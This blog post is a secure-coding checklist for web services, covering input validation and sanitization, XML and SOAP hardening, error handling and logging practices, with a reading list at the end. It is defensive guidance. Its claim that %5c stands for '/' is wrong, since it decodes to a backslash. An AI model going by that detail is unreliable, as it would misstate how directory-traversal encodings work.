• Don't blindly trust input data (from clients GUI/cookies, database, web service request), so always validate and sanitize the input
• Validate/preprocessing (to prevent code/SQL/command injections, XSS, DoS) in sequence:
    o canonization: transform different representation (e.g. %5c is "/" which can be used for directory transversal attack)  to a canonical form.
    o sanitation: encode/escape unwanted characters (e.g. &lt for <).
    o data validation: validate based on white lists (e.g. XSD that defines data type/format/range).
• To prevent DoS, XML bomb: limit input size (e.g. web service request, file upload via GUI) using gateway/server configuration, XSD restriction length, limit nested element deep, don't use maxoccurs="unbounded" in XSD. While we can also limit the message using application-server setting or XSD validation in the proxy, it's better to reject the messages  as early as possible (e.g. in the gateway with XML firewall) before the message burden the load balances and application-servers.
• No security decision based on url params (which can be manipulated by clients).
• Validate & sanitize output (e.g. web, database) to prevent XSS, code injections.
• Use output encoding for special characters (to prevent XSS, code injections).
• Beware of double-encode attack (e.g. \  > %25 > %255c  ).
• Do not store sensitive data in cookies.
• How to validation data input (from user input, database, external system)? How to handle validation-error situation?
• Avoid sensitive data in de code/scripts, config files, log files. Restrict access to these files (least privelege principle).
• Encrypt sensitive data (e.g. employees' bank account published by LdapService).
• How do you prevent data fishing (e.g. limit output)?
• Use XML-firewall: faster (dedicated hardware), delegate the burden of SOA/OSB servers for validation.  Reject the messages earlier for better containment and preserving performance: threat should be addressed at the edge of the network instead of at the application layer.
• Reject SOAP message with <!ENTITY> tag (or whole DTD tag) or  use SOAP 1.2 to protect against entity attacks.
• Reject SOAP message with CDATA to avoid CDATA injection.
• Attachment/files upload:
    o limit the size
    o the files must never be executed/evaluated
    o anti virus check

Error handling

• Prevent sensitive information (e.g. server fingerprinting for hackers) in the error messages. Generalized error message (to hide the implementation technology) instead of just passing the original error string from the framework (e.g. Java stacktrace).
• Don't put human information (e.g. developer's name) in the error message to avoid social engineering exploit.
• Test and understand the behavior of your system in case of failure / error.
• Catch all possible errors / failures  and handle gracefully to avoid DoS.
• Appropriate privilege level is restored in case of error / failure e.g. invalidate the session
• Security mechanism is still working in case of error / exceptions / DoS attack
• Release resources (e.g. file, database pool) in case of error to prevent DoS.
• Centralized error handling.

Logging

• Log and monitor sensitive operations (e.g. create user, transfer money).
• Protect log files / other files (e.g. history) which can be useful for forensic investigation using ACL, use signature if necessary.
• No sensitive information (e.g. password) in the log, check the regulations (e.g. SOX in the US, WBP in the Netherlands).
• Information in log: userID, action/event, date/time (normalized to one time zone), IP address.
• Throttling the log to prevent DoS or  evidence removal using log file rotation.
• Centralized logging and standardized the logging information.
• Audit logging regularly to detect malicious attempts using an automatic alert system. What information need to observe signs of malicious activities? e.g. number of connections per requester IP address.
• Validate and sanitize if you log the input (GUI form input, web service request,  or external database).
•  In case of attack what trail of forensic evidence is needed (e.g. IP address of the attack messages).
• Know your baseline (typical log file growth in normal operation), plan log backup/removal and log rotation accordingly.


Please share your comment.

Source: Steve's blog http://soa-java.blogspot.com


References:


• Hacking Exposed Web Applications by Scambray et.al.


• How to break web software by Andrews & Whittaker

• OWASP Code Review Guide
• Improving Web Services Security (Microsoft patterns & practices) by Meier et.al
• XSD restrictions http://www.w3schools.com/schema/schema_facets.asp
• ISO 27001, ISO 27002